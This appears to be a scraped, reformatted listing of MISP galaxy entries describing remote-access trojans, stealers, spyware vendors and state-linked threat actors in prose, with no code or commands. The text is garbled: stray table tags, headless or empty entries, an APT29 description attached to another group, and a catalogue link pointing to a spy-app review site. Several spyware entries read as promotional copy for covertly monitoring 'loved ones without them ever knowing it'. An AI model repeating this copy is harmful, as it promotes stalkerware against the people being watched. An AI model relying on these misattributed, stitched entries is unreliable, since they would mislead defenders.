This threat can install other malware on your PC, including Trojan:Win32/NukeSped.B!dha and Trojan:Win32/NukeSped.C!dha. It can show you a warning message that says your files will be made publically available if you don't follow the malicious hacker's commands.

The tag is: `misp-galaxy:rat="NukeSped"`

**TheOneSpy**

Remotely monitor and control any wrong activity of kids on all smartphones & computers

The tag is: `misp-galaxy:rat="TheOneSpy"`
**BONDUPDATER**

BONDUPDATER is a PowerShell-based Trojan first discovered by FireEye in mid-November 2017, when OilRig targeted a different Middle Eastern governmental organization. The BONDUPDATER Trojan contains basic backdoor functionality, allowing threat actors to upload and download files, as well as the ability to execute commands. BONDUPDATER, like other OilRig tools, uses DNS tunneling to communicate with its C2 server. During the past month, Unit 42 observed several attacks against a Middle Eastern government leveraging an updated version of the BONDUPDATER malware, which now includes the ability to use TXT records within its DNS tunneling protocol for its C2 communications.

The tag is: *misp-galaxy:rat="BONDUPDATER"*

**FlawedGrace**

Proofpoint also point out that FlawedGrace is a full-featured RAT written in C++ and that it is a very large program that "extensive use of object-oriented and multithreaded programming techniques. "As a consequence, getting familiar with its internal structure takes a lot of time and is far from a simple task.

The tag is: *misp-galaxy:rat="FlawedGrace"*

**H-worm**

H-worm is a VBS (Visual Basic Script) based RAT written by an individual going by the name Houdini. We believe the author is based in Algeria and has connections to njq8, the author of njw0rm [1] and njRAT/LV [2] through means of a shared or common code base. We have seen the H-worm RAT being employed in targeted attacks against the international energy industry; however, we also see it being employed in a wider context as run of the mill attacks through spammed email attachments and malicious links.

The tag is: *misp-galaxy:rat="H-worm"*
Parasite-HTTP-RAT

The RAT, dubbed Parasite HTTP, is especially notable for the extensive array of techniques it incorporates for sandbox detection, anti-debugging, anti-emulation, and other protections. The malware is also modular in nature, allowing actors to add new capabilities as they become available or download additional modules post infection.

The tag is: *misp-galaxy:rat="Parasite-HTTP-RAT"

Parasite-HTTP-RAT is also known as:

- Parasite HTTP

Caesar RAT

Caesar is an HTTP-based RAT that allows you to remotely control devices directly from your browser.

The tag is: *misp-galaxy:rat="Caesar RAT"

FlawedAmmy

During the month of October, Check Point researchers discovered a widespread malware campaign spreading a remote access trojan (dubbed “FlawedAmmy”) that allows attackers to take over victims' computers and data. The campaign was the latest and most widespread delivering the ‘FlawedAmmy’ RAT, following a number of campaigns that have spread this malware in recent months. The Trojan allows attackers to gain full access to the machine’s camera and microphone, collect screen grabs, steal credentials and sensitive files, and intrusively monitor the victims’ actions. As a result, FlawedAmmy is the first RAT to enter the Global Threat Index's top 10 ranking.

The tag is: *misp-galaxy:rat="FlawedAmmy"
Felipe

The Zscaler ThreatLabZ team came across a new strain of infostealer Trojan called Felipe, which silently installs itself onto a user's system and connects to a command-and-control (C&C) server to send system information from the compromised system. This malware is compiled for both 32-bit and 64-bit Windows operating systems. Felipe basically steals the victim's debit and credit card information and sends it, along with other personal information, to the remote C&C server. It also sets a date and time to perform other malicious activity upon successful infection of the victim machine.

The tag is: misp-galaxy:rat="Felipe"

InnfiRAT

new RAT called InnfiRAT, which is written in .NET and designed to perform specific tasks from an infected machine
KeyBase

In the wild since February 2015. The malware comes equipped with a variety of features and can be purchased for $50 directly from the author. It has been deployed in attacks against organizations across many industries and is predominantly delivered via phishing emails.

Warzone

Apparently existing since 2018

SDBbot

SDBbot is a new remote access Trojan (RAT) written in C++ that has been delivered by the Get2 downloader in recent TA505 campaigns. Its name is derived from the debugging log file (sdb.log.txt) and DLL name (BotDLL[.]dll) used in the initial analyzed sample. It also makes use of application shimming [1] for persistence. SDBbot is composed of three pieces: an installer, a loader, and a RAT component.

SDBbot is also known as:

- SDB bot
Sepulcher

A China-based APT has been sending organizations spear-phishing emails that distribute a never-before-seen intelligence-collecting RAT dubbed Sepulcher.

Researchers discovered the new malware being distributed over the past six months through two separate campaigns. The first, in March, targeted European diplomatic and legislative bodies, non-profit policy research organizations and global organizations dealing with economic affairs. The second, in July, targeted Tibetan dissidents. They tied the campaigns to APT group TA413, which researchers say has been associated with Chinese state interests and is known for targeting the Tibetan community.

“Based on the use of publicly known sender addresses associated with Tibetan dissident targeting and the delivery of Sepulcher malware payloads, [we] have attributed both campaigns to the APT actor TA413,” said Proofpoint researchers in a Wednesday analysis. “The usage of publicly known Tibetan-themed sender accounts to deliver Sepulcher malware demonstrates a short-term realignment of TA413’s targets of interest.”

</table>

Guildma

The campaign spreads via phishing emails posing as invoices, tax reports, invitations and similar types of messages containing a ZIP archive attachment with a malicious LNK file. When a user opens the malicious LNK file, it abuses the Windows Management Instrumentation Command-line tool and silently downloads a malicious XSL file. The XSL file downloads all of Guildma’s modules and executes a first stage loader, which loads the rest of the modules. The malware is then active and waits for commands from the C&C server and/or specific user interactions, such as opening a webpage of one of the targeted banks.

The tag is: misp-galaxy:rat="Guildma"

Guildma is also known as:

Stealer

A list of malware stealer..

Stealer is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.
Nocturnal Stealer

It is designed to steal data found within multiple Chromium and Firefox based browsers, it can also steal many popular cryptocurrency wallets as well as any saved FTP passwords within FileZilla. Nocturnal Stealer uses several anti-VM and anti-analysis techniques, which include but are not limited to: environment fingerprinting, checking for debuggers and analyzers, searching for known virtual machine registry keys, and checking for emulation software.

The tag is: *misp-galaxy:stealer*="Nocturnal Stealer"

Nocturnal Stealer has relationships with:

- similar: *misp-galaxy:malpedia*="Nocturnal Stealer" with *estimative-language:likelihood-probability*="likely"

AZORult

It is able to steal accounts from different software, such as, Firefox password Internet Explorer/Edge Thunderbird Chrome/Chromium and many more. It is also able to (1) list all installed software, (2) list processes, (3) Get information about the machine name (CPU type, Graphic card, size of memory), (4) take screen captures, (5) Steal cryptomoney wallet from Electrum, MultiBit, monero-project, bitcoin-qt.
Vidar

Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.

Ave Maria

Information stealer which uses AutoIT for wrapping.

Surveillance Vendor

List of vendors selling surveillance technologies including malware, interception devices or computer exploitation services..

Surveillance Vendor is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various
Kape Technologies

Kape Technologies is better known by the name under which they were formerly incorporated - "Crossrider" but make no mistake they are the same company which became notorious as an adware/malware producer. Kape Technologies was originally known as Crossrider until the name change in 2018. The reason for that was, as CEO Ido Erlichman put it, “strong association to the past activities of the company.” Perhaps that refers to infecting users’ devices with malware and adware, considered “high-risk” by Symantec and Malwarebytes. If that wasn’t enough, Crossrider’s Founder and first CEO Koby Menachemi, was part of Unit 8200 – something that can be called Israel’s NSA. Another key person, Teddy Sagi, who is the main investor in both Crossrider and Kape Technologies, is mentioned in the Panama Papers.

The tag is: misp-galaxy:surveillance-vendor="Kape Technologies"

Kape Technologies is also known as:

- Kape
- Crossrider

NSO group

NSO Group Technologies is an Israeli technology firm known for its Pegasus spyware enabling the remote surveillance of smartphones. It was founded in 2010 by Niv Carmi, Omri Lavie, and Shalev Hulio. It reportedly employed almost 500 people as of 2017, and is based in Herzliya, near Tel Aviv.

The tag is: misp-galaxy:surveillance-vendor="NSO group"

Hacking Team

HackingTeam is a Milan-based information technology company that sells offensive intrusion and surveillance capabilities to governments, law enforcement agencies and corporations. Its "Remote Control Systems" enable governments and corporations to monitor the communications of internet users, decipher their encrypted files and emails, record Skype and other Voice over IP communications, and remotely activate microphones and camera on target computers. The company has been criticized for providing these capabilities to governments with poor human rights records, though HackingTeam states that they have the ability to disable their software if it is used unethically. The Italian government has restricted their license to do business with countries...
outside Europe. HackingTeam employs around 40 people in its Italian office, and has subsidiary branches in Annapolis, Washington, D.C., and Singapore. Its products are in use in dozens of countries across six continents.

The tag is: `misp-galaxy:surveillance-vendor="Hacking Team"`

Hacking Team is also known as:

- Memento Labs

---

**Gamma Group**

Gamma Group is an Anglo-German technology company that sells surveillance software to governments and police forces around the world. The company has been strongly criticised by human rights organisations for selling its FinFisher software to undemocratic regimes such as Egypt and Bahrain.

The tag is: `misp-galaxy:surveillance-vendor="Gamma Group"`

Gamma Group is also known as:

- Gamma International

---

**FlexiSPY**

Flexispy is an application that can be considered as a trojan, based on Symbian. The program sends all information received and sent from the smartphone to a Flexispy server. It was originally created to protect children and spy on adulterous spouses.

The tag is: `misp-galaxy:surveillance-vendor="FlexiSPY"`

---

**mSpy**

mSpy is probably the most popular monitoring software on the market today. It is designed for parents who want to track their children’s online activity. Using mSpy is easy — just download and install a hidden app on your child’s phone and let it do its thing in the background. mSpy is available for iOS and Android, and has a web-based control panel that allows you to remotely monitor activity on your child’s device, including texts, instant messages, phone calls and social media use on Snapchat or Facebook. It also allows you to track the location of your child’s device on
a map. The best thing about mSpy is that it works on non-jailbroken iPhones. Do note that some of its features, including email tracking and instant messenger monitoring, are only available on a rooted Android smartphone. If you don't know how to root an Android device, you might want to consider using a spy app like Highster Mobile. This app lets you spy on Android phone without rooting.

The tag is: `misp-galaxy:surveillance-vendor="mSpy"`

---

**Highster Mobile**

Highster Mobile is a cell phone spy and monitoring software that allows you to secretly monitor your children, employees, or loved ones without them ever knowing it. The app is available for both Android and iOS devices and is developed by ILF Mobile Apps, a company based in Bohemia, New York, that specializes in mobile security.

The tag is: `misp-galaxy:surveillance-vendor="Highster Mobile"`

---

**Mobile Spy**

Mobile Spy is a cell phone monitoring application for iOS, Android and BlackBerry developed by Retina-X Studios. It allows you to monitor the smartphone activity of your children. You’ll be able to see text messages, track GPS locations, monitor social media activities, view call details and more inside a secure online account. Monitoring made easy. Login anytime you wish from any location to see the recorded data without needing access to the monitored phone. The hidden version of Mobile Spy is no longer available due to legal issues.

The tag is: `misp-galaxy:surveillance-vendor="Mobile Spy"`

---

**Hoverwatch**

Hoverwatch is a computer and mobile monitoring software developed by Refog. It is available for Android, Windows and macOS. It runs silently in the background, recording all activities performed by the user such as messages sent and received, phone calls made and received, web sites visited, and every keystroke typed. All recorded data is sent to an online account.
MobiStealth

MobiStealth is a popular spy software that comes with a simple web-based console and powerful monitoring features. It is developed by Infoweise Pty Ltd, a private company headquartered in Sydney, Australia. They have been making high quality monitoring solutions since 2009. In November 2015, they launched a “Non-Jailbreak” feature, letting users spy on all iOS devices without needing to jailbreak them. Just like many other spy software, MobiStealth allows you to spy on a cell phone or computer via a web interface called StealthClub. As its name implies, it is a stealth application that runs in the background without the owner's knowledge.

Spyera

Spyera develops and sells computer and mobile spy software. Based in Hong Kong, Spyera’s products work in all languages and all countries. The company's phone and PC monitoring products are useful tools for any parent or company, although they are quite expensive in comparison to other products. Spyera comes in three different versions — a mobile version for iPhone and Android smartphones, a tablet version for iPad and Android tablets, and a desktop version for Mac and Windows. The mobile version of Spyera is actually very similar to the FlexiSPY Extreme, which I reviewed a few weeks ago. It has everything you’d expect from a cell phone spy software: live call listening, call recording, and location tracking.

StealthGenie

StealthGenie is a powerful cell phone spy software created by InvoCode Ltd in 2010 that can be used to spy on cheating spouses and monitor children's activities. In September 2014, Hammad Akbar, founder of StealthGenie, was arrested in Los Angeles and charged with selling mobile device spyware. StealthGenie was officially discontinued on 26 September 2014.
SpyBubble

SpyBubble is a spy app that lets you secretly spy on someone’s phone. This spy app is compatible with a variety of mobile devices, including iPhone, Android, BlackBerry and Symbian, and it offers logging features for most cell phone activity. SpyBubble doesn’t provide the blocking and restricting features that you will find in several similar applications. However, it has many useful features, and its monitoring features are excellent. Spybubble cell phone spy software was discontinued due to legal reasons.

Target Information

Description of targets of threat actors..

Target Information is a cluster galaxy available in JSON format at [this location](https://www.bestphonespy.com/spybubble-review/). The JSON format can be freely reused in your application or automatically enabled in MISP.

Stalker Panda

The group appears to have close ties to the Chinese National University of Defense and Technology, which is possibly linked to the PLA. Stalker Panda has been observed conducting targeted attacks against Japan, Taiwan, Hong Kong, and the United States. The attacks appear to be centered on political, media, and engineering sectors. The group appears to have been active since around 2010 and they maintain and upgrade their tools regularly.

Nitro

These attackers were the subject of an extensive report by Symantec in 2011, which termed the attackers Nitro and stated: 'The goal of the attackers appears to be to collect intellectual property such as design documents, formulas, and manufacturing processes. In addition, the same attackers
appear to have a lengthy operation history including attacks on other industries and organizations. Attacks on the chemical industry are merely their latest attack wave. As part of our investigations, we were also able to identify and contact one of the attackers to try and gain insights into the motivations behind these attacks.' Palo Alto Networks reported on continued activity by the attackers in 2014.

### APT 16

Between November 26, 2015, and December 1, 2015, known and suspected China-based APT groups launched several spear-phishing attacks targeting Japanese and Taiwanese organizations in the high-tech, government services, media and financial services industries. Each campaign delivered a malicious Microsoft Word document exploiting the aforementioned EPS dict copy use-after-free vulnerability, and the local Windows privilege escalation vulnerability CVE-2015-1701. The successful exploitation of both vulnerabilities led to the delivery of either a downloader that we refer to as IRONHALO, or a backdoor that we refer to as ELMER.

The tag is: *misp-galaxy:threat-actor="APT 16"*

**Hurricane Panda**

We have investigated their intrusions since 2013 and have been battling them nonstop over the last year at several large telecommunications and technology companies. The determination of this China-based adversary is truly impressive: they are like a dog with a bone. HURRICANE PANDA's preferred initial vector of compromise and persistence is a China Chopper webshell – a tiny and easily obfuscated 70 byte text file that consists of an ‘eval()’ command, which is then used to provide full command execution and file upload/download capabilities to the attackers. This script is typically uploaded to a web server via a SQL injection or WebDAV vulnerability, which is often trivial to uncover in a company with a large external web presence. Once inside, the adversary immediately moves on to execution of a credential theft tool such as Mimikatz (repacked to avoid AV detection). If they are lucky to have caught an administrator who might be logged into that web server at the time, they will have gained domain administrator credentials and can now roam your network at will via ‘net use’ and ‘wmic’ commands executed through the webshell terminal.

Mirage

This threat actor uses phishing techniques to compromise the networks of foreign ministries of European countries for espionage purposes.

The tag is: misp-galaxy:threat-actor="Mirage"

Mirage is also known as:

• Vixen Panda
• Ke3Chang
• GREF
• Playful Dragon
• APT 15
Anchor Panda

PLA Navy Anchor Panda is an adversary that CrowdStrike has tracked extensively over the last year targeting both civilian and military maritime operations in the green/brown water regions primarily in the area of operations of the South Sea Fleet of the PLA Navy. In addition to maritime operations in this region, Anchor Panda also heavily targeted western companies in the US, Germany, Sweden, the UK, and Australia, and other countries involved in maritime satellite systems, aerospace companies, and defense contractors. Not surprisingly, embassies and diplomatic missions in the region, foreign intelligence services, and foreign governments with space programs were also targeted.

The tag is: `misp-galaxy:threat-actor="Anchor Panda"`

Anchor Panda is also known as:

- APT14
- APT 14
- QAZTeam
Anchor Panda has relationships with:

**Impersonating Panda**

The tag is: `misp-galaxy:threat-actor="Impersonating Panda"`

**Violin Panda**

We’ve uncovered some new data and likely attribution regarding a series of APT watering hole attacks this past summer. Watering hole attacks are an increasingly popular component of APT campaigns, as many people are more aware of spear phishing and are less likely to open documents or click on links in unsolicited emails. Watering hole attacks offer a much better chance of success because they involve compromising legitimate websites and installing malware intended to compromise website visitors. These are often popular websites frequented by people who work in specific industries or have political sympathies to which the actors want to gain access. In
contrast to many other APT campaigns, which tend to rely heavily on spear phishing to gain victims, “th3bug” is known for compromising legitimate websites their intended visitors are likely to frequent. Over the summer they compromised several sites, including a well-known Uyghur website written in that native language.

The tag is: `misp-galaxy:threat-actor="Violin Panda"`

Violin Panda is also known as:

- APT20
- APT 20
- TH3Bug

Cutting Kitten

While tracking a suspected Iran-based threat group known as Threat Group-2889[1] (TG-2889), Dell SecureWorks Counter Threat Unit™ (CTU) researchers uncovered a network of fake LinkedIn profiles. These convincing profiles form a self-referenced network of seemingly established LinkedIn users. CTU researchers assess with high confidence the purpose of this network is to target potential victims through social engineering. Most of the legitimate LinkedIn accounts associated with the fake accounts belong to individuals in the Middle East, and CTU researchers assess with medium confidence that these individuals are likely targets of TG-2889. One of the threat actors responsible for the denial of service attacks against U.S in 2012–2013. Three individuals associated with the group—believed to have been working on behalf of Iran’s Islamic Revolutionary Guard Corps—were indicted by the Justice Department in 2016.

The tag is: `misp-galaxy:threat-actor="Cutting Kitten"`

Cutting Kitten is also known as:

Rebel Jackal

This is a pro-Islamist organization that generally conducts attacks motivated by real world events in which its members believe that members of the Muslim faith were wronged. Its attacks generally involve website defacements; however, the group did develop a RAT that it refers to as Fallaga RAT, but which appears to simply be a fork of the njRAT malware popular amongst hackers in the Middle East/North Africa region.

A 2015 report by F-Secure describe APT29 as: 'The Dukes are a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. The Dukes show unusual confidence in their ability to continue successfully compromising their targets, as well as in their ability to operate with impunity. The Dukes primarily target Western governments and related organizations, such as government ministries and agencies, political think tanks, and governmental subcontractors. Their targets have also included the governments of members of the Commonwealth of Independent States; Asian, African, and Middle Eastern governments; organizations associated with Chechen extremism; and Russian speakers engaged in the illicit trade of controlled substances and drugs. The Dukes are known to employ a vast arsenal of malware toolsets, which we identify as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, HammerDuke, PinchDuke, and GeminiDuke. In recent years, the Dukes have engaged in apparently biannual large-scale spear phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations. These campaigns utilize a smash-and-grab approach involving a fast but noisy breakin followed by the rapid collection and exfiltration of as much data as possible. If the compromised target is discovered to be of value, the Dukes will quickly switch the toolset used and move to using stealthier tactics focused on persistent compromise and long-term intelligence gathering. This threat actor targets government ministries and agencies in the West, Central Asia, East Africa, and the Middle East; Chechen extremist groups; Russian organized crime; and think tanks. It is suspected to be behind the 2015 compromise of unclassified networks at the White House, Department of State, Pentagon, and the Joint Chiefs of Staff. The threat actor includes all of the Dukes tool sets, including MiniDuke, CosmicDuke, OnionDuke, CozyDuke, SeaDuke, CloudDuke (aka MiniDionis), and HammerDuke (aka Hammertoss). '

### Turla Group

A 2014 Guardian article described Turla as 'Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan,
Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much-documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took. Kaspersky Lab, however, picked up a number of the attackers searches through their victims' emails, which included terms such as Nato and EU energy dialogue. Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantec's Gavin O'Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.

Sandworm

This threat actor targets industrial control systems, using a tool called Black Energy, associated with electricity and power generation for espionage, denial of service, and data destruction purposes. Some believe that the threat actor is linked to the 2015 compromise of the Ukrainian electrical grid and a distributed denial of service prior to the Russian invasion of Georgia. Believed to be responsible for the 2008 DDoS attacks in Georgia and the 2015 Ukraine power grid outage.

The tag is: misp-galaxy:threat-actor="Sandworm"

TeleBots

We will refer to the gang behind the malware as TeleBots. However it's important to say that these attackers, and the toolset used, share a number of similarities with the BlackEnergy group, which conducted attacks against the energy industry in Ukraine in December 2015 and January 2016. In fact, we think that the BlackEnergy group has evolved into the TeleBots group. TeleBots appear to be associated with Sandworm Team, Iron Viking, Voodoo Bear.

TeamSpy Crew

Researchers have uncovered a long-term cyber-espionage campaign that used a combination of legitimate software packages and commodity malware tools to target a variety of heavy industry, government intelligence agencies and political activists. Known as the TeamSpy crew because of its affinity for using the legitimate TeamViewer application as part of its toolset, the attackers may have been active for as long as 10 years, researchers say. The attack appears to be a years-long espionage campaign, but experts who have analyzed the victim profile, malware components and command-and-control infrastructure say that it’s not entirely clear what kind of data the attackers are going after. What is clear, though, is that the attackers have been at this for a long time and that they have specific people in mind as targets. Researchers at the CrySyS Lab in Hungary were alerted by the Hungarian National Security Authority to an attack against a high-profile target in the country and began looking into the campaign. They quickly discovered that some of the infrastructure being used in the attack had been in use for some time and that the target they were investigating was by no means the only one.

The tag is: misp-galaxy:threat-actor="TeamSpy Crew"

BuhTrap

Buhtrap has been active since 2014, however their first attacks against financial institutions were only detected in August 2015. Earlier, the group had only focused on targeting banking clients. At the moment, the group is known to target Russian and Ukrainian banks. From August 2015 to February 2016 Buhtrap managed to conduct 13 successful attacks against Russian banks for a total amount of 1.8 billion rubles ($25.7 mln). The number of successful attacks against Ukrainian banks has not been identified. Buhtrap is the first hacker group using a network worm to infect the overall bank infrastructure that significantly increases the difficulty of removing all malicious functions from the network. As a result, banks have to shut down the whole infrastructure which provokes delay in servicing customers and additional losses. Malicious programs intentionally scan for machines with an automated Bank-Customer system of the Central Bank of Russia (further referred to as BCS CBR). We have not identified incidents of attacks involving online money transfer systems, ATM machines or payment gates which are known to be of interest for other criminal groups.

SNOWGLOBE

In 2014, researchers at Kaspersky Lab discovered and reported on three zero-days that were being used in cyberattacks in the wild. Two of these zero-day vulnerabilities are associated with an advanced threat actor we call Animal Farm. Over the past few years, Animal Farm has targeted a wide range of global organizations. The group has been active since at least 2009 and there are signs that earlier malware versions were developed as far back as 2007.

The tag is: `misp-galaxy:threat-actor="SNOWGLOBE"`

SNOWGLOBE is also known as:

- Animal Farm
- Snowglobe
Deadeye Jackal

The Syrian Electronic Army (SEA) is a group of computer hackers which first surfaced online in 2011 to support the government of Syrian President Bashar al-Assad. Using spamming, website defacement, malware, phishing, and denial of service attacks, it has targeted political opposition groups, western news organizations, human rights groups and websites that are seemingly neutral to the Syrian conflict. It has also hacked government websites in the Middle East and Europe, as well as US defense contractors. As of 2011 the SEA has been the first Arab country to have a public Internet Army hosted on its national networks to openly launch cyber attacks on its enemies. The precise nature of SEA's relationship with the Syrian government has changed over time and is unclear

The tag is: `misp-galaxy:threat-actor="Deadeye Jackal"`

Deadeye Jackal is also known as:

- SyrianElectronicArmy
- SEA

Operation C-Major

Group targeting Indian Army or related assets in India, as well as activists and civil society in Pakistan. Attribution to a Pakistani connection has been made by TrendMicro and others.

The tag is: `misp-galaxy:threat-actor="Operation C-Major"`

Operation C-Major is also known as:

- C-Major
- Transparent Tribe
- Mythic Leopard
- ProjectM
Stealth Falcon

This threat actor targets civil society groups and Emirati journalists, activists, and dissidents.

The tag is: *misp-galaxy:threat-actor="Stealth Falcon"

Stealth Falcon is also known as:

- FruityArmor

Stealth Falcon has relationships with:

- similar: *misp-galaxy:mitre-intrusion-set="Stealth Falcon - G0038" with estimative-language:likelihood-probability="likely"
ScarCruft

ScarCruft is a relatively new APT group; victims have been observed in several countries, including Russia, Nepal, South Korea, China, India, Kuwait and Romania. The group has several ongoing operations utilizing multiple exploits — two for Adobe Flash and one for Microsoft Internet Explorer.

The tag is: misp-galaxy:threat-actor="ScarCruft"

ScarCruft is also known as:

• Operation Daybreak
• Operation Erebus

ScarCruft has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="APT37 - G0067" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:threat-actor="APT37" with estimative-language:likelihood-probability="likely"

HummingBad

This group created a malware that takes over Android devices and generates $300,000 per month in fraudulent ad revenue. The group effectively controls an arsenal of over 85 million mobile devices around the world. With the potential to sell access to these devices to the highest bidder

The tag is: misp-galaxy:threat-actor="HummingBad"
Dropping Elephant

Dropping Elephant (also known as “Chinastrats” and “Patchwork”) is a relatively new threat actor that is targeting a variety of high profile diplomatic and economic targets using a custom set of attack tools. Its victims are all involved with China’s foreign relations in some way, and are generally caught through spear-phishing or watering hole attacks.

The tag is: `misp-galaxy:threat-actor="Dropping Elephant"`

Dropping Elephant is also known as:

- Chinastrats
- Patchwork
- Monsoon
- Sarit
- Quilted Tiger
- APT-C-09
- ZINC EMERSON

Dropping Elephant has relationships with:

- similar: `misp-galaxy:mitre-intrusion-set="Patchwork"` - G0040` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:mitre-intrusion-set="MONSOON"` - G0042` with estimative-language:likelihood-probability="likely"

Scarlet Mimic

Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group’s motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, APT 2, it has not been concluded that the groups are the same. The attacks began over four years ago and their targeting pattern suggests that this adversary’s primary mission is to gather information about minority rights activists. We do not have evidence directly linking these attacks to a government source, but the information derived from these activities supports an assessment that a group or groups with motivations similar to the stated position of the Chinese government in relation to these targets is involved. The attacks we attribute to Scarlet Mimic have primarily targeted Uyghur and Tibetan activists as well as those who are interested in their causes. Both the Tibetan community and the Uyghurs, a Turkic Muslim minority residing primarily in northwest China, have been targets of multiple sophisticated attacks in the past decade. Both also have history of strained relationships with the government of the People’s Republic of China (PRC), though we do not have evidence that links Scarlet Mimic attacks to the PRC. Scarlet Mimic attacks have also been identified against government organizations in Russia and India, who are responsible for tracking activist and terrorist activities. While we do not know the precise target of each of the Scarlet Mimic attacks, many of them align to the patterns described above.

The tag is: `misp-galaxy:threat-actor="Scarlet Mimic"`

Scarlet Mimic has relationships with:

- similar: `misp-galaxy:mitre-intrusion-set="Scarlet Mimic - G0029"` with estimative-language:likelihood-probability="likely"

ProjectSauron

ProjectSauron is the name for a top level modular cyber-espionage platform, designed to enable and manage long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods. Technical details show how attackers learned from other extremely advanced actors in order to avoid repeating their mistakes. As such, all artifacts are customized per given target, reducing their value as indicators of compromise for any other victim. Usually APT campaigns have a geographical nexus, aimed at extracting information within a specific region or from a given industry. That usually results in several infections in countries within that region, or in the targeted industry around the world. Interestingly, ProjectSauron seems to be dedicated to just a couple of countries, focused on collecting high value intelligence by compromising almost all
key entities it could possibly reach within the target area. The name, ProjectSauron reflects the fact that the code authors refer to ‘Sauron’ in the Lua scripts.

The tag is: *misp-galaxy:threat-actor*="ProjectSauron"

**OilRig**

OilRig is an Iranian threat group operating primarily in the Middle East by targeting organizations in this region that are in a variety of different industries; however, this group has occasionally targeted organizations outside of the Middle East as well. It also appears OilRig carries out supply chain attacks, where the threat group leverages the trust relationship between organizations to attack their primary targets.

OilRig is an active and organized threat group, which is evident based on their systematic targeting of specific organizations that appear to be carefully chosen for strategic purposes. Attacks attributed to this group primarily rely on social engineering to exploit the human rather than software vulnerabilities; however, on occasion this group has used recently patched vulnerabilities in the delivery phase of their attacks. The lack of software vulnerability exploitation does not necessarily suggest a lack of sophistication, as OilRig has shown maturity in other aspects of their operations. Such maturities involve:

- Organized evasion testing used the during development of their tools.
- Use of custom DNS Tunneling protocols for command and control (C2) and data exfiltration.
- Custom web-shells and backdoors used to persistently access servers.

OilRig relies on stolen account credentials for lateral movement. After OilRig gains access to a system, they use credential dumping tools, such as Mimikatz, to steal credentials to accounts logged into the compromised system. The group uses these credentials to access and to move laterally to other systems on the network. After obtaining credentials from a system, operators in this group prefer to use tools other than their backdoors to access the compromised systems, such as remote desktop and putty. OilRig also uses phishing sites to harvest credentials to individuals at targeted organizations to gain access to internet accessible resources, such as Outlook Web Access.

The tag is: `misp-galaxy:threat-actor="OilRig"`

OilRig is also known as:

- Twisted Kitten
- Cobalt Gypsy

Molerats

In October 2012, malware attacks against Israeli government targets grabbed media attention as officials temporarily cut off Internet access for its entire police force and banned the use of USB memory sticks. Security researchers subsequently linked these attacks to a broader, yearlong campaign that targeted not just Israelis but Palestinians as well, and as discovered later, even the U.S. and UK governments. Further research revealed a connection between these attacks and members of the so-called “Gaza Hackers Team.” We refer to this campaign as “Molerats.”

The tag is: misp-galaxy:threat-actor="Molerats"

Molerats is also known as:

- Gaza Hackers Team
- Gaza cybergang
- Gaza Cybergang
- Operation Molerats
- Extreme Jackal
- Moonlight
- ALUMINUM SARATOGA

Molerats has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Molerats - G0021" with estimative-language:likelihood-probability="likely"

</table>
PROMETHIUM

PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.

The tag is: misp-galaxy:threat-actor="PROMETHIUM"

PROMETHIUM is also known as:

• StrongPity

PROMETHIUM has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="PROMETHIUM - G0056" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:microsoft-activity-group="PROMETHIUM" with estimative-language:likelihood-probability="likely"

NEODYMIUM

NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor's characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.

The tag is: misp-galaxy:threat-actor="NEODYMIUM"

NEODYMIUM has relationships with:

• similar: misp-galaxy:mitre-intrusion-set="NEODYMIUM - G0055" with estimative-language:likelihood-probability="likely"
Packrat

A threat group that has been active for at least seven years has used malware, phishing and disinformation tactics to target activists, journalists, politicians and public figures in various Latin American countries. The threat actor, dubbed Packrat based on its preference for remote access Trojans (RATs) and because it has used the same infrastructure for several years, has been analyzed by Citizen Lab researchers John Scott-Railton, Morgan Marquis-Boire, and Claudio Guarnieri, and Cyphort researcher Marion Marschalek, best known for her extensive analysis of state-sponsored threats.

The tag is: misp-galaxy:threat-actor="Packrat"

Cadelle

Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014, however, it’s likely that activity began well before this date. Command-and-control (C&C) registrant information points to activity possibly as early as 2011, while executable compilation times suggest early 2012. Their attacks continue to the present day. Symantec estimates that each team is made up of between 5 and 10 people.

The tag is: misp-galaxy:threat-actor="Cadelle"

PassCV

